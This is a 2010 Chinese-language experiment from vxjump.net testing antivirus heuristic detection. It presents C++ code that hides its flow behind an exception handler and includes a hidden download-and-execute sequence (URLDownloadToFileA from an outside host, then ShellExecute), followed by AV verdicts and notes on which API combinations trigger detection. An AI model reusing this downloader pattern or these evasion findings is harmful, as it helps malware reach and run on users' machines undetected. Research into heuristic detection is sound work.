_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ AV-Soft检测HEUR类型病毒的简单测试 ]................<| |>......................[ by nEINEI/vxjump.net ]...................<| |>......................[ 2010-10-25 ]........................<| \>...................... [ neineit@gmail.com ] ........................ #include #include #include // 异常处理回调函数 EXCEPTION_DISPOSITION __cdecl _my_test_call( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext ); int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; DWORD handler = (DWORD)_my_test_call; __asm { push handler push FS:[0] mov FS:[0],ESP } __asm { mov eax,0 mov [eax], 1 //--触发异常执行流程 } __asm { mov eax,[ESP] mov FS:[0], EAX add esp, 8 } // 伪造一个不存在的调用 ShellExecute(0,"open","c:\\windows\\faf342jf.exe",0,0,SW_HIDE); return nRetCode; } // 异常处理回调 EXCEPTION_DISPOSITION __cdecl _my_test_call( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext ) { ContextRecord->Eax = (DWORD)_tmain; // 伪造一些常规病毒的操作,注意传入的参数 CreateServiceA(0,"kill","kill av",0,0,0,0,0,0,0,0,0,0); FindFirstFile(0,0); MoveFile(0,0); TerminateProcess(0,0); CreateFile("c:\\windows\\system32\\d23422jf.exe",0,0,0,0,0,0); GetTempFileNameA("c:\\windows\\system32\\fjsl2",0,0,0); TerminateProcess(0,0); TerminateProcess(0,0); URLDownloadToFileA(0,"http://afdf.cn/1.url","c:\\windows\\faf342jf.exe",0,0); CreateServiceA(0,"kill","kill av",0,0,0,0,0,0,0,0,0,0); CreateFile("c:\\windows\\system32\\d23422jf.exe",0,0,0,0,0,0); MoveFile(0,0); return ExceptionContinueExecution; } // -------------------------------------- end test_av-soft.cpp -------------------------------- 在此基础上加入一些UI类操作函数,乱序的插入这些API中间。 MessageBox(0,0,0,0); CreateWindow(0,0,0,0,0,0,0,0,0,0,0); CreateDialog(0,0,0,0,); ... 无乱怎样弄,都会被以下AV-soft报毒。 alarm list av-soft : AntiVir 7.10.13.35 2010.10.25 TR/Downloader.Gen McAfee-GW-Edition 2010.1C 2010.10.25 Heuristic.BehavesLike.Win32.Rootkit.J NOD32 5561 2010.10.25 probably unknown NewHeur_PE Rising 22.70.06.04 2010.10.25 Trojan.DL.Win32.Downloader.GEN Sunbelt 7138 2010.10.25 BehavesLike.Win32.Malware.dlw (mx-v) VBA32 3.12.14.1 2010.10.25 suspected of Win32.Trojan.Downloader (http://...) 不断的进行修改会发现,存在下面的情况, "GetTempFileNameA " ,"URLDownloadToFileA","ShellExecute" 这些如果同时出现在程序中,并且没 有夹在不同的程序区段中,就会被检测报毒。并且和我使用异常触发这个流程本身也有关。 我并不否认这些AV-Soft的启发式能力,因为从检测技术角度看这样启发检测毫无问题,主要的问题是AV引擎对 信息的识别及推断能力都比较差。一般的启发技术上大家基本已经在同一个水平线上了,下一个研究阶段或许将比谁 能识别的更准确。但受困扰的一个问题是,AV引擎不是很智能的问题不是技术因素,而是效率因素。